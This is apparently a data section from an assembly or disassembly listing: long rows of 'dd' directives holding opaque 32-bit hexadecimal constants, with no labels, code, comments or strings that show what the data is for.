dd 16C2A8h, 0C686E548h, 7646787Dh, 4A146703h, 98FFD40h
dd 0A990F031h, 0ECD8CC13h, 0D93E2D2Bh, 0F24780DAh, 230806B4h
dd 3F1F1884h, 0E2AD39F9h, 0DF001AE2h, 643C4AFFh, 40C26Bh
dd 3F681D55h, 9FF51CDBh, 2C30B113h, 110C4440h, 0B05B33EFh
dd 5670044h, 5AF95DC3h, 70A08104h, 0FA091D0Dh, 82D69942h
dd 0A0D7953Ch, 0B092FDACh, 200E00BAh, 0BC151E6Dh, 0D0A25DABh
dd 8071948Eh, 756EEE05h, 224E43F5h, 0DE3D0027h, 23D03329h
dd 40617B1Ch, 9A802218h, 417C42F2h, 0A118C3F0h, 3667D808h
dd 40C4C447h, 5AD899F3h, 0BD7800D0h, 35EBDF3Ch, 2890BB4Ch
dd 86697F3Ah, 0AC917184h, 611B01D1h, 0D44DE2A0h, 0C47091B2h
dd 6AD8A280h, 24996F36h, 0D89AD0C0h, 0D17400E0h, 793D43CBh
dd 0A9505B50h, 58936B88h, 0EFBFD402h, 58CF8A30h, 6D40DE64h
dd 4B24BF6Ch, 9B7DB705h, 7883A0DCh, 11F8CB0h, 38491FB9h
dd 2294249Fh, 1AE8420h, 0CFEB175Dh, 414FCCA9h, 64329E9Ch
dd 2505EA34h, 80570EA8h, 0C06DA848h, 3661D847h, 0E0983758h
dd 3D89FF1h, 1E629876h, 0BC9B9045h, 639301E1h, 74047E44h
dd 0D3951C13h, 5D20A732h, 3F97469h, 31DDB52Bh, 0B8AECA0Ah
dd 4762371Ch, 10029B16h, 0E4141Ah, 426D987Dh, 93C53904h
dd 0C4C23212h, 3930E43Ch, 0CC820E61h, 19AC5BC4h, 2C0D5867h
dd 70203141h, 4D44486h, 6828632Ch, 5133410Ch, 45271E07h
dd 5E3DC3CDh, 60E01A8Ch, 0EB00C57Ch, 0A9FF82B3h, 58013868h
dd 0D4846C8Dh, 0EB421CF9h, 0A09D3133h, 671269B8h, 97F5304Eh
dd 3062E88h, 52162884h, 959422D0h, 2A0A7B0Ch, 26BBF8ADh
dd 92404731h, 920C4FEBh, 0E5B090D2h, 1D00A949h, 9D4A421Ch
dd 0D7D14Ch, 86919B2Fh, 23E2817Fh, 607DB804h, 948029D0h
dd 6432D2FCh, 5F2DF051h, 118250C2h, 9138AFBCh, 0A842D040h
dd 3048B1C4h, 6BE8AF94h, 8F5803F8h, 0C09D8888h, 75D4EEEFh
dd 27222546h, 0EE083B03h, 98929958h, 50330F8h, 0D9C821EBh
dd 97880984h, 10E83093h, 8BEEA84Bh, 77D1DB02h, 60D870B7h
dd 780F545Ch, 8AB62E4Ah, 8074111Ch, 300ABF6Bh, 0A800876Dh
dd 42F2BFC3h, 0DBAD1273h, 0ECB413BEh, 741000DBh, 0FB7E9FAEh
dd 91BC94EAh, 82A38B69h, 4C973618h, 0CDC34494h, 74D89B02h
dd 0C0D025A0h, 8097545Ch, 0E0A89C93h, 0E30186CEh, 1DDA4758h
dd 0F524B75Bh, 34375D3Eh, 936B7E0Eh, 0CD7213A0h, 120622F1h
dd 3B1648CEh, 5C80630h
dd 99B441ADh, 199AC481h, 7571B401h, 4C8BC045h, 29F94200h
dd 0D7C71A3h, 2AC83C03h, 762F17DAh, 0D19C6521h, 9113C6h
dd 0F6F1B52Fh, 4700A563h, 2499C2A7h, 0EBFBEFE3h, 2188404Bh
dd 0E58172C0h, 226D0FDDh, 0ED4063E9h, 15DC6816h, 498CBA0Bh
dd 91B8975Bh, 0F6FE8030h, 241A7BE2h, 960E3B0h, 1404FDDEh
dd 0BF6F6070h, 4D3017EEh, 6C4C2C1Dh, 0A4BF673Fh, 68041184h
dd 9CB6AA7Fh, 0C4E20C52h, 43C2830h, 0B0447D5Dh, 4B94B6BFh
dd 2623442Bh, 877BC500h, 13F4DCD6h, 81AA1DB5h, 4BBE2028h
dd 0C0C58850h, 0F0BE1134h, 0ACC4CF03h, 0A4A5C81Bh, 924C98C0h
dd 0C454A59Dh, 0BD4B602Bh, 0FD702E4h, 0D3F6C684h, 0BB38A458h
dd 9320D902h, 1E441002h, 4420CC8Dh, 700F5AACh, 3EDF6774h
dd 0C81F2702h, 0DAA4684Dh, 4ED0F022h, 42B00235h, 90E43E4Bh
dd 0CE8AD300h, 0AD12945Ch, 1B647D31h, 21FA3E9Ch, 0E788F683h
dd 0AE0AD216h, 0F015AF72h, 8A4C38DCh, 84802E3Eh, 6FEF340Dh
dd 6C94D1F2h, 1CCB16E2h, 70246F46h, 75300512h, 4C14CB1Eh
dd 9DBF0545h, 9040A192h, 98FD2706h, 388F0531h, 88B70445h
dd 1CA095E0h, 1F00C544h, 6C5BC6B3h, 7F773FCEh, 0B51D00D0h
dd 0C4EA6B6Dh, 0EC900B5Fh, 465E7894h, 0BC5F762Bh, 24C86FF0h
dd 420DF51h, 0E0BA5C34h, 91003A2Ch, 8044BD0Ch, 4F3F0F20h
dd 0D1784894h, 0EFC3B84h, 249F38E0h, 11E084D0h, 0BF718072h
dd 945D3004h, 69AA58FCh, 7237BF01h, 20A95AB7h, 2C3C7EE8h
dd 8884D324h, 0D596010Eh, 2F527C20h, 476D0612h, 212E41F0h
dd 0D2FF5F01h, 0CBBF2BDDh, 1D854DF8h, 5C23ECh, 0ED04CE93h
dd 0D01820A8h, 0EEF0E1C5h, 2FD84A56h, 7302384h, 0A11F704Fh
dd 20C5AC32h, 0BFB0BD14h, 4EC19B3Ch, 0C211D401h, 0D05B5B53h
dd 0D9771D80h, 0A300315Ah, 0DC518A7Bh, 72B13Bh, 71144BC8h
dd 9168532Fh, 92B37400h, 876F130Eh, 508CCB6h, 0A91E5521h
dd 0D3008D74h, 0D2CEE6F7h, 160B3E31h, 3A53D903h, 8A0341Ah
dd 0B9000F71h, 0BFBAA7D4h, 3AB27673h, 0E2274AFh, 0C9A1F100h
dd 4190F6D6h, 0EB8400DAh, 8729272Bh, 0B71960C0h, 0C9780777h
dd 6F57A4D0h, 16386Fh, 0E8D035E2h, 3375568Bh, 7F085366h
dd 45AA0121h, 0CEE77735h, 0A000D75Ah, 593965F8h, 601834DAh
dd 0FDB6D111h, 0CA78EF23h, 0C037C0C8h, 0BAA6D4B8h, 0BF74A721h
dd 0A000F244h, 0EA832C9h, 7734927Ah, 197EAECh, 3C4BFD6Dh
dd 0C0274CB1h, 71C0E0EDh, 6276C6CDh, 7B94146Dh, 0C523C038h
dd 0B274AC01h, 0DE190692h, 74A45620h, 6AD4000Dh, 7C141125h
dd 94A8D1B3h, 29C00F48h, 3FEFB84Ah, 5120EE3h, 7DA008D4h
dd 0D573F06Dh, 0E30D000h, 857CB6CDh, 0B22E0ADCh, 4C44C272h
dd 9229B9F4h, 11144BEh, 749F4701h, 408CDA33h, 0EBD134D8h
dd 0EF7D1200h, 0C64B7508h, 7C94A037h, 0A4817AB5h, 2A046E4h
dd 0E8CC3541h, 107931ABh, 753539AEh, 15E81D91h, 1747C561h
dd 0C8C05802h, 4850DC1Dh, 10E1B2F4h, 7EC8CA6Eh, 12D4F881h
dd 2FC646FCh, 1742320h, 0F61814C0h, 0E824DCD7h, 2603B639h
dd 0F909BD4Ch, 7C1410F3h, 5E57281Ch, 0F2D50AFCh, 1EB48C0Dh
dd 0C015014Eh, 80A2E41Ah, 0B2329121h, 0C5699F14h, 378B810h
dd 0BF5FDA8h, 675A5118h, 48D10989h, 420094EEh, 0C71D7C47h
dd 0ED303077h, 0F6CD419Eh, 67280757h, 0C56671h, 0CE634D9h
dd 51361731h, 95D07E40h, 86521F0Fh, 994A8BFh, 5E1885FAh
dd 0EB888803h, 0E19491ACh, 88D44EEEh, 8D27C076h, 81F11880h
dd 14B3EF0Ah, 0A8A84F0Bh, 403EF004h, 4EE2E607h, 0F0703867h
dd 40684DF3h, 20F48488h, 14F0506Eh, 40731B30h, 0F531E30Dh
dd 0D43AAC45h, 25000923h, 3001185Bh, 9259062Dh, 5067EDEBh
dd 0F913FC04h, 6059B2F4h, 0D4F41945h, 0D7BA1090h, 9F06C873h
dd 0D45DF8h, 81E562F4h, 0D832E47Eh, 65B2B8A0h, 726BE2B0h
dd 147B18h, 185F6A3Fh, 0B340A805h, 968DF72Eh, 1B369420h
dd 46605117h, 74AB02C6h, 319E92B5h, 8021B802h, 1D2874A3h
dd 24A048B7h, 7A4B658h, 0F0437ABDh, 3DB2942Ah, 0B4109902h
dd 99BF7714h, 79A802E0h, 2A24610h, 0E8CA353Fh, 0A8473Bh
dd 4B353790h, 7800D502h, 0A8D4523Eh, 1472DDBBh, 0C47FBA43h
dd 9121270h, 0A20828F5h, 0E2CC6C53h, 2098300Ch, 177C2B00h
dd 0FAF5459Fh, 0C006987Dh, 0BF40B360h, 5A600D6Eh, 1AA7B510h
dd 341C0FDh, 0E95CAAA9h, 267AB900h, 0A3999D48h, 42230D83h
dd 0A29FB1Ah, 0F832016Ch, 39AAB0CCh, 2C8BEFD8h, 3E98F340h
dd 0F20FDFA0h, 41B92631h, 70FB4B02h, 0C177D040h, 0CF7A6Ch
dd 0D4F2EB5Dh, 0CD4DDFF3h, 4600BAECh, 9178AC53h, 29CC514h
dd 0B66EBDC3h, 0FC4012C4h, 761F4AD0h, 0BED43AFFh, 1462398h
dd 0BAABD4B5h, 880B18DFh, 2CB0BDF5h, 75B01200h, 3FA815FDh
dd 94CF5005h, 0ECBA09AAh, 80279AEh, 69E177A7h, 0B0789601h
dd 0EC7E6402h, 6F18483Eh, 651D28E3h, 1ECDF2ECh, 0C0BA8D7Ch
dd 0A02F9874h, 0F0C07530h, 2ECA5108h, 0BAF70743h, 1CF2148Fh
dd 21C06508h, 0BE2EC2B2h, 8C862A70h, 0A340A1DCh, 351EAE18h
dd 11E3E8CDh, 46AD007Ah, 5B41A235h, 80D090A1h, 20438F54h
dd 78329E8Ah, 0C7533151h, 60034488h, 5417880Fh, 0E2A8FEh
dd 0BF6FDE64h, 3D9318DCh, 86225A3Dh, 764B2B58h, 3A7106E1h
dd 90677AE4h, 57EFB600h, 6F7D4F2Eh, 0AD943763h, 0BD8EFE29h
dd 0CDC09CD4h, 0A2F7AE2Eh, 0C5B30087h, 0B5F6EB2Eh, 0D4042828h
dd 417EE409h, 974005C0h, 6A23C42Fh, 27B6EA03h, 0D567D8CDh
dd 921A13E6h, 0D4830D2h, 0E472BA0Fh, 7BD0C460h, 9980BDFBh
dd 803911DCh, 0BAACD4B6h, 70CFFB7h, 90BEF488h, 0F8910BF0h
dd 0A4022088h, 0D50072C6h, 2CC1AB6Eh, 7408B5F1h, 57070B46h
dd 308511D3h, 1E4BACA3h, 0D150B202h, 477F8A20h, 80114E00h
dd 61A602F6h, 0AED000B0h, 0AA39733h, 0CC93D13Dh, 207C5A09h
dd 57376334h, 145F2C8Ah, 62C700CBh, 2C87EAC6h, 6BEC2B0Fh
dd 0E927C060h, 0A43652EEh, 0A180A1DCh, 35094018h, 4553E8C7h
dd 38938088h, 96E41035h, 0CE2BB20h, 44BCFA1h, 0F616F4C1h
dd 3B00EF03h, 3A788AA6h, 85C30092h, 0D4F82352h, 91E410B6h
dd 0E8D23905h, 0BC085513h, 0D4B4C243h, 73C71460h, 0F6509894h
dd 0C3D438BCh, 83481383h, 88FCFD30h, 9920F3C4h, 81D0AC68h
dd 0A818C1C4h, 92B67408h, 64C8A6h, 0F574A04Ah, 0B0916ED0h
dd 15E61838h, 4D4E0721h, 0A4484C9Eh, 0B0522C41h, 2ECC30BEh
dd 0CAF7AD11h, 0B0836D88h, 0EBE52EC4h, 9F35B078h, 16943B98h
dd 887ADCC9h, 0D91265FAh, 0C070DA59h, 7EF16DF8h, 71E8B301h
dd 541803h, 8E1CEFABh, 5207BD41h, 6DF72A05h, 3C106939h
dd 0B87490FCh, 3C0A8C64h, 0ACDC505Ah, 0D1FC9602h, 44C8C7A5h
dd 4B697009h, 0E9000F6h, 3C6F8AD1h, 664C8323h, 8C0EE810h
dd 51005D7Fh, 9080CF82h, 129CD78Bh, 80B6CB9Eh, 6FF23474h
dd 0D0A7AF07h, 7E624525h, 3E7C507Ch, 33828AB2h, 0E223C563h
dd 0E4B5FE02h, 5E3C9610h, 0E0037846h, 0D21C9726h, 0C1A23890h
dd 0A8576209h, 0C89C22C7h, 584448h, 3D06D593h, 2008B3E7h
dd 7B115802h, 40692630h, 62E2F01Ch, 15E31C46h, 0B459A46Ah
dd 61180379h, 1079896h, 0F212E680h, 0CCFE052Eh, 7E246288h
dd 884F5C74h, 0B2A8D94h, 0A8A9F2B1h, 605994B2h, 9E180159h
dd 80DF9800h, 7CCEFA60h
dd 80FD5D4Bh, 5C9ABF00h, 80FF13BBh, 0EE895F00h, 703483DEh
dd 0E71413FCh, 0AE0C0BC1h, 0D939011h, 69E26832h, 3A51C30h
dd 6167D5E5h, 0D90250BAh, 5FFB7E5Ch, 1DB889A3h, 81071174h
dd 815B20A8h, 5C60B9DDh, 72E080C5h, 0B29381C0h, 0F0FB5D25h
dd 0EB920C31h, 347051CDh, 0F6332908h, 0BA863E20h, 40586EFCh
dd 0D09F4600h, 65FDAAB2h, 18649291h, 59578862h, 0D0A4B67Ch
dd 61FCD71h, 5F98BF67h, 0F35A521h, 0E7F9891Fh, 0DDBE5DA0h
dd 340EAFD7h, 0BD116FCDh, 54025034h, 67107CABh, 6005444Ch
dd 153C9161h, 0F0F9496Bh, 0C5434E0Ah, 0F15E01FEh, 0E1651994h
dd 64EBFC89h, 9167CB04h, 30996C1Ch, 1E20032h, 24C2530h
dd 0E46DB5Ch, 0E881A71Bh, 99EB5F3h, 5B28C72h, 2C65930h
dd 7FA277D6h, 0D3E1C5D0h, 336521A6h, 3074B2C8h, 3700AF14h
dd 0CF5BE503h, 0DBD7C66h, 1B2231B5h, 0A78823F8h, 34FC0E8h
dd 9100DE0Ch, 108ACDC5h, 14AD142Fh, 84B145F8h, 0DD218D09h
dd 0C91249Dh, 0E9788F80h, 0C0079D7Bh, 0B5616DD8h, 138ED93Ch
dd 4DCCACBh, 987B7C2Ch, 6A0BF444h, 9D72C7EFh, 800311D8h
dd 0F8B37FB7h, 193060F7h, 94A7B0CFh, 132E6A03h, 0F2A3D292h
dd 335C487Ch, 18E20Eh, 0BC097DF8h, 0D24C3E92h, 0B2013C70h
dd 1D65F777h, 0F435D906h, 6AA28C33h, 0CD7630h, 3E81C36Ch
dd 72B1407Ch, 5891E7E0h, 2543FD07h, 16AF8641h, 0BC23C062h
dd 0E42ECE0Fh, 54CE9AF7h, 2EC6B600h, 87269B1Dh, 10FC6F48h
dd 501F5D35h, 0DC80E7CBh, 7BD28DFEh, 0E5DD48h, 71C11C8Ah
dd 47C250Dh, 21F30841h, 0BA80809Fh, 784C1AF4h, 0EC2F1628h
dd 19D483h, 0D0CE7171h, 740D91Eh, 0B5FA1601h, 34D8FB58h
dd 89AF1F3h, 69382101h, 77510F0h, 11AC8495h, 82106900h
dd 1507B68h, 0B6910072h, 2F254FEFh, 90138DFDh, 7448D90Fh
dd 0B6C28B74h, 0F8D05011h, 5A803272h, 0BD5A6Eh, 60C16684h
dd 0A1D4C5B6h, 0F9151FDCh, 6DF5B440h, 9EDCB749h, 200C9D34h
dd 0A008D55Ah, 615A8CB3h, 880026B1h, 346B604h, 7018EBDh
dd 325E0D60h, 9EE400A0h, 5924F2D5h, 9130B020h, 0ECB5C271h
dd 7CE496ABh, 2A0F6646h, 6BE4349Eh, 0FD14E0C3h, 93692005h
dd 74D70F47h, 681648A5h, 8CA6B888h, 0CE35AB05h, 0E4A29BE8h
dd 3543ACC3h, 7D6A4A88h, 3BD6DA00h, 1D12D528h, 0F47E3EB3h
dd 878077B0h, 524F3055h, 0C038CC48h, 0BAA9D4BBh, 989EE490h
dd 1A3EF50h, 0E6E02EC9h, 803916CEh, 367B93C0h, 485A4392h
dd 0FF415475h, 0C422706Ch, 0A19E63Ah, 0F015E486h, 7BD13829h
dd 0B5028B18h, 488F5109h, 0C34CC8FAh, 0C44503F9h, 0D1C963A7h
dd 1DA985B8h, 7707602h, 79A1C5B2h, 71E02960h, 2A186Eh
dd 0B7D60DFCh, 58A0CAB8h, 147C9104h, 0C492C247h, 0F8A0A33Fh
dd 10C78528h, 1455E5B0h, 0E3E8DC9Fh, 6435420Fh, 44A243E8h
dd 353A91C0h, 0AC0015A6h, 92CFE773h, 0A082EDFBh, 0C153ACh
dd 193CEFB5h, 386561AEh, 5091E17Ch, 6830A188h, 0F74205D6h
dd 687022C2h, 2EC1AF20h, 16E300A1h, 0B4DA5CE5h, 28A0325Dh
dd 0B207E006h, 2E7C9CF0h, 0F845E3B2h, 64573044h, 0FAFB60B1h
dd 0D846A400h, 0FC0DE94Fh, 12E8F29Ch, 0FD4AEEh, 4872AB10h
dd 28179313h, 0C2FB14Eh, 0C0726C10h, 0EE9ECC2Dh, 20BF4D3h
dd 0E3923839h, 0E10A7A65h, 840FE12h, 33B294A8h, 0BA073E92h
dd 9D43E2Ah, 0C6475DA7h, 10600C6Dh, 0FA2EDD0Ah, 4CC0A0E1h
dd 0E5220218h, 709062BEh, 0B2D29120h, 29FD0937h, 44E5B1FFh
dd 1870FFC2h, 5607319Dh, 0EEC7DD06h, 4CA42980h, 8AA8A0F6h
dd 7C8C81FEh, 48488918h, 789D62C0h, 96201CBEh, 5EF402Ah
dd 661E843h, 0D422B205h, 0C8E00988h, 0A8765CE1h, 78C09F8h
dd 8EDB14C4h, 26BFE168h, 0CEF02042h, 4810C625h, 0C505CDD8h
dd 0F2974DA0h, 12490068h, 4F0BEE2Dh, 5898489Ah, 148C63BCh
dd 88A59DFAh, 170DF610h, 58307E7Ch, 2CE5EC8h, 0B461A797h
dd 70C70A4Eh, 946076C4h, 40748541h, 0C7423201h, 60D314E4h
dd 64141E2Bh, 0B8172F28h, 0A807F11h, 31490715h, 73E27412h
dd 244D2CC8h, 2B8A23Fh, 70124B7Dh, 0D2E40209h, 0F2A4480Fh
dd 30880757h, 34CDBF20h, 88E4CE10h, 0B019C007h, 0D7066306h
dd 64431C7Bh, 0BE2AFED8h, 5D17DCD4h, 9AACA506h, 0B916113h
dd 5CA18471h, 5BFEECh, 24667740h, 12100931h, 6218E086h
dd 41F0548Ah, 26BF72B2h, 74AA02A0h, 59B692B8h, 0A2486020h
dd 4A60D174h, 447D188Ch, 0CDCA0146h, 0EEE93DACh, 470289Eh
dd 615071F0h, 0B922F0ACh, 2C1FCC98h, 0B2017BCAh, 0CE45CC2Ah
dd 2E841FC4h, 11346C72h, 14386488h, 284B0F5Fh, 34FB8682h
dd 0F2B34849h, 0F7A7B620h, 57B02585h, 0FBDED848h, 0CDC9280h
dd 30F3F92Eh, 56257C31h, 2FC0664Eh, 0DC9D07B0h, 0DC807791h
dd 7231992Dh, 8900017Dh, 93BDD0BFh, 30FCADD1h, 25793A19h
dd 770027CBh, 9F26DF46h, 9A554943h, 9AB24BC0h, 7A44C074h
dd 25FCE1E4h, 0A06A6C1Ah, 7795C51h, 84049D18h, 7BCF6202h
dd 822A8C83h, 0A00CDAEEh, 80797634h, 3E60ED78h, 9D3DA171h
dd 4B91167Ch, 0C1A05DD6h, 3043F913h, 0B18828D1h, 620DBDB6h
dd 307AE2C0h, 6C1DDBD2h, 74C0703Ah, 946204F5h, 4BF0926Fh
dd 6C008D86h, 436BBC54h, 67E30172h, 0EB1E2B49h, 4B1F82E4h
dd 4E208D28h, 0C97D8814h, 0C001C504h, 0A8BAB72Ch, 0B098F498h
dd 4B6D9520h, 4B408CD0h, 63EFF600h, 0CEE87F8Fh, 0F817403Eh
dd 3196D1Bh, 4F86E188h, 11A318Ah, 8980BBE8h, 0D7C8C546h
dd 1005AC34h, 0EA5C444Fh, 5183BC1Fh, 0F1833ABFh, 0C2A231Ch
dd 0BA9EAD58h, 0D001DCBBh, 0AAF7A92Eh, 0B4806C73h, 4E1F2EC8h
dd 21FD6A02h, 84ABE573h, 0AD60C4B8h, 9227B774h, 8496AEh
dd 774A549h, 0E6FE4359h, 202F194Ah, 1E0B6623h, 0FB1C027Dh
dd 0B480A6Eh, 0ACE767BAh, 66630B64h, 0E4EB7298h, 46609C09h
dd 0F558839Ah, 2FAF899Eh, 4824402Ah, 6E986B3Fh, 0A19CA000h
dd 2DA7BFAh, 0C651C79h, 1FEBC0ABh, 2944848Bh, 1A994902h
dd 47615AF4h, 606CC450h, 526057h, 3438FE40h, 0EB8FA50Ch
dd 0DC16F55Eh, 6B2EC804h, 764E0701h, 5A188066h, 30711FF6h
dd 79D4B1C6h, 0D81879h, 80EFC1C7h, 65FCBA8Fh, 0C8FE493Dh
dd 3EEE0844h, 8AC2606h, 6A109243h, 0CAE6D003h, 1FA0D5A3h
dd 6C4A1CACh, 80D124CFh, 0D042CAC0h, 43007773h, 0C83D6D3Eh
dd 0B1295AFh, 0A32F970Ah, 2EC778B0h, 0F2F74012h, 0B10040CBh
dd 0EBB02EBFh, 8CFA5BA4h, 0C80560F0h, 96EC7E18h, 6C5B4CB1h
dd 6BA1A8C1h, 0EEDC70F5h, 2AC2E140h, 29C987Eh, 27FDB5E3h
dd 0DC74A8A0h, 0F9B8A540h, 4A6500C6h, 0E409D028h, 91168060h
dd 2F02A285h, 0D9749362h, 0B0443A68h, 0E8F8775Ch, 88008C64h
dd 876E6B32h, 8D5B21Ch, 695A9D8Fh, 7F072B80h, 72411F77h
dd 0B15D178Eh, 77886F72h, 96BEC20Eh, 2DD021D4h, 16AD874Fh
dd 66915097h, 0BA336B83h, 40743BF9h, 7E4369D4h, 0A01F534Bh
dd 3A8F03E2h, 83A1B931h, 96E4D0F0h, 74AD500h, 1C24F216h
dd 63E848BAh, 0A672C713h, 3FACE070h, 0B8CD01E0h, 0A23D4041h
dd 6C8F07Fh, 67FCB205h, 0F48ED991h, 0CBC003C8h, 0B6B360E8h
dd 7B808224h, 9C08E43Fh, 3A901026h, 90868C05h, 0E884C473h
dd 8C77BC54h, 1CD71000h, 0CF023CDBh, 0CCC04CA6h, 0A012FB2Dh
dd 918D45Ch, 0B1C64471h
dd 187979E4h, 0DEA20F49h, 0FF05B8CAh, 71C8D019h, 9B027C36h
dd 22DA4B01h, 1AE8C062h, 73C987C5h, 0EBA5093Ch, 0B88D5884h
dd 7CB31EF4h, 18A1F952h, 8F80302Ah, 6B4021F3h, 906211D2h
dd 5A8D096Fh, 3020F8DCh, 0AB31074Bh, 5281DEFh, 0C94D8C2Ch
dd 0FAB8ACh, 0A4FB65Bh, 0B292F8D1h, 910F3206h, 296657h
dd 0A9F781F9h, 8AC39353h, 1A090B4Ch, 5E216E7Ch, 0CFD01620h
dd 0AB41040h, 0B20CF292h, 80B03178h, 0BF0B79E0h, 43CA3CDh
dd 8DFD3B53h, 380CECA4h, 7AAA5E6h, 50F2F2FCh, 76687E07h
dd 7E007446h, 8791222Ah, 280064AFh, 0EFB5F469h, 25D7824h
dd 93634C7Dh, 0FC5E2EFDh, 0F57F05F4h, 0B2C2A96Dh, 9DBC2270h
dd 0B90E0C37h, 0FA807DDBh, 70E25D7Ch, 8A32D5Ah, 7A64D047h
dd 23A72D60h, 1C7C4704h, 0A0FD4F9Bh, 0DC39F90Bh, 0D0F4A064h
dd 6F0250Bh, 13401248h, 0B247C414h, 490CB04Dh, 43488F6Eh
dd 28804BA6h, 0D3C03EF4h, 0E774F660h, 0BC6C0C50h, 553E023Ch
dd 66CEE761h, 0F21D1C78h, 3CAE5213h, 910C9727h, 0A0C7807Ch
dd 5E4BFEB6h, 0A06BC6h, 0FCC503E4h, 5C1B3Eh, 0F927F010h
dd 0D45A2A43h, 0EF2E7570h, 58B9303Dh, 4EAE80ACh, 7322529Eh
dd 493C9CEBh, 7ACE081h, 61A700D9h, 408C9EB7h, 6355C8DFh
dd 85B07B58h, 0C05EFF19h, 43654840h, 82634Dh, 70DE909Eh
dd 0C33376FCh, 0B032CAF2h, 25535037h, 12A6C1E3h, 13E0746Ch
dd 0B304549Ah, 7085F60Ah, 46F41A01h, 37C0687Dh, 6B118842h
dd 98E94A5Ah, 66F28872h, 0E0686C30h, 271DFE4h, 9E91E36Fh
dd 0FF1C3400h, 5EB7837Ch, 0B02312C5h, 4C13B594h, 0B8C89EDFh
dd 5A29F8F8h, 0D4BC8116h, 0B8342C97h, 347D8C6Dh, 0A119E01h
dd 6C4E5EEDh, 0B6CC57FDh, 0DE8B014Ch, 875189B5h, 0D6F431C0h
dd 31C0FE27h, 4B3829A5h, 0AD904317h, 0E0F8C5E4h, 3D00A0D4h
dd 0AD9825Eh, 1DBCA44h, 8519F4BFh, 6B1D308Ah, 0F0A64452h
dd 0FDA182E0h, 7C620609h, 3878D172h, 9C01FCA5h, 435637Eh
dd 180DCC0h, 68D98AD9h, 0F8187959h, 70A86E00h, 0EEF2B731h
dd 0B443B57h, 0C460DA5h, 76B5C880h, 378DC98h, 0B83795h
dd 82EEDCF0h, 6D10FD58h, 0C585B3Dh, 13394071h, 20489F24h
dd 2306F340h, 72912F8Fh, 0D74CB000h, 0C0F54BB4h, 0B0B639EEh
dd 0D8B725h, 18BA2D64h, 0FA021BA4h, 6133234Dh, 8B585EB8h
dd 2462F85Bh, 81583873h, 14A3262Ah, 53BF08C4h, 2C07702Bh
dd 37B9D4E7h, 618C38B4h, 6E716A5Ah, 0C23A0205h, 0AC0F4393h
dd 802122Dh, 51763010h, 60F47BB8h, 0EF8E545h, 4E28945Ch
dd 1A022A8Eh, 14D1AA21h, 4180A79h, 148B4A05h, 2CB4A42Fh
dd 620A40DEh, 0E1679132h, 80F47E19h, 9DDEC0CFh, 0BDF403C7h
dd 89623D00h, 0CEE926BCh, 18DD488Eh, 946AAC12h, 0B82CE9D8h
dd 0CA64032Bh, 94FE80DCh, 0CBA804DDh, 0C84CE07Ah, 96634A0Bh
dd 0F29C206Bh, 267421Fh, 0E6E8E122h, 0B45403A2h, 0BC1F3893h
dd 0C85B51D0h, 6CBB3524h, 0FCC3F0h, 0F72CB220h, 56D7C944h
dd 30877C04h, 60B17EFDh, 0A0507BD9h, 0F4E8F464h, 0CDD30EBCh
dd 99000BC8h, 0E4BA0C87h, 30590E31h, 0C23ADAEh, 0F300CA2h
dd 0C4311FA7h, 0F9E9408Ah, 58BD6DF7h, 8626E490h, 0CE3DA4C9h
dd 64945403h, 0FD980D7Ah, 2F49CBF2h, 923FC2Fh, 0AA1A1800h
dd 38602FF0h, 35AEF8FFh, 0B1286164h, 6E0C2044h, 691A3440h
dd 0E4C571F3h, 3F6306E4h, 679389A8h, 8092375Eh, 718451C6h
dd 17AC187Fh, 0C28BCD62h, 14712A1Ch, 57180579h, 8F690902h
dd 0DA89BDEBh, 1CA095A8h, 0D355D72Dh, 0D0327C24h, 547BDEh
dd 3A102DB5h, 28419512h, 4B258DB0h, 3FE4419Eh, 0ECC0B425h
dd 2A49A65h, 0F6C81187h, 0A0DB77DCh, 358B5A5h, 3716D0A1h
dd 0A09F9940h, 1658873Dh, 0AC5006B1h, 436BEC30h, 5AC50072h
dd 3EBD8ADAh, 17CD05D4h, 0C2B29313h, 0A840ACF6h, 1DBD6D5Ah
dd 71018830h, 8C6C2160h, 7C47008Bh, 0E6E94E6Dh, 68940E2Ah
dd 134F4400h, 17E3CB94h, 435E4B64h, 1F147C8Ch, 0FDB6D902h
dd 200F491Eh, 2C1BE328h, 8905EEF6h, 24374F2h, 3204E8A8h
dd 74F86FCh, 907917A8h, 0E7529Ch, 0DC35036h, 99A4967Bh
dd 0BA74FD03h, 0B2EF2F8h, 0B1B0C729h, 6C45045h, 5C9C7760h
dd 7EE6CF04h, 7C093523h, 78A02CC4h, 0F7076884h, 0B12C4BF8h
dd 67C0CD19h, 5AA6CF9Dh, 3E005965h, 0EB1FD934h, 6D76070h
dd 6BF81E67h, 22036854h, 5A8D7CCAh, 0A5310062h, 0E85898C9h
dd 0C500CB20h, 5509987h, 265793F7h, 805468B6h, 0F248ACDh
dd 0EE27F8CAh, 0B6584633h, 64465E70h, 7AFF7B07h, 0CC90A9DEh
dd 1503E78Ch, 0A12A96F3h, 5A3899B8h, 0C002B461h, 2080290Fh
dd 1676939Bh, 0AD389704h, 4781D292h, 182469E3h, 95622ECDh
dd 1CF240CCh, 6103DA51h, 88BC48DBh, 0EDB1E230h, 8B0AC088h
dd 100075C0h, 67E1F74Ah, 187C9427h, 71793258h, 23001D38h
dd 59C77418h, 2F79ACDh, 7DFA0429h, 0E8E86E2Ch, 64F0F6CAh
dd 46A4819Fh, 8E157113h, 0C0688878h, 9B4F6616h, 25039D7Dh
dd 0C5857CF1h, 0B06A54E6h, 0D1AC99ACh, 9691807h, 11CF86C6h
dd 63B3C402h, 6CFC7B04h, 0C854CE4Fh, 1713C00Ch, 67017A88h
dd 6FFBBA4Eh, 0E028956Eh, 3ECEE604h, 64A10BE3h, 4C30598h
dd 830EDD6Eh, 92A8CFDDh, 1CBB1376h, 0E36E907Bh, 119E286h
dd 0A609035Fh, 68F24391h, 20705054h, 12361580h, 17C1B8F9h
dd 1186E1Ch, 6247F9B3h, 35F0B5FBh, 12340EDDh, 0AB40D848h
dd 80363289h, 60BB9338h, 0A1BEE1F8h, 8DC14FFDh, 0C01C3AECh
dd 7FA23FC1h, 0F028F748h, 19EF2D00h, 96D84788h, 3AEAC200h
dd 32DED057h, 0B83F62AAh, 90F4EC1Ah, 6856E8B1h, 7787E048h
dd 13F81389h, 4AF409B7h, 36B2C841h, 2EDDE080h, 22189068h
dd 0EB005BC3h, 73DCE7AFh, 0BA22FCBAh, 250D0ACCh, 80CC7E57h
dd 5AAAC636h, 0EA0FC48Bh, 0C0828378h, 0B6A30AFh, 473E077Ah
dd 5AF4BA91h, 30C22720h, 0E11449Fh, 321F8881h, 0E063E9ABh
dd 3135448Dh, 0A0C376E8h, 56D082A3h, 3E4B41D8h, 48B20784h
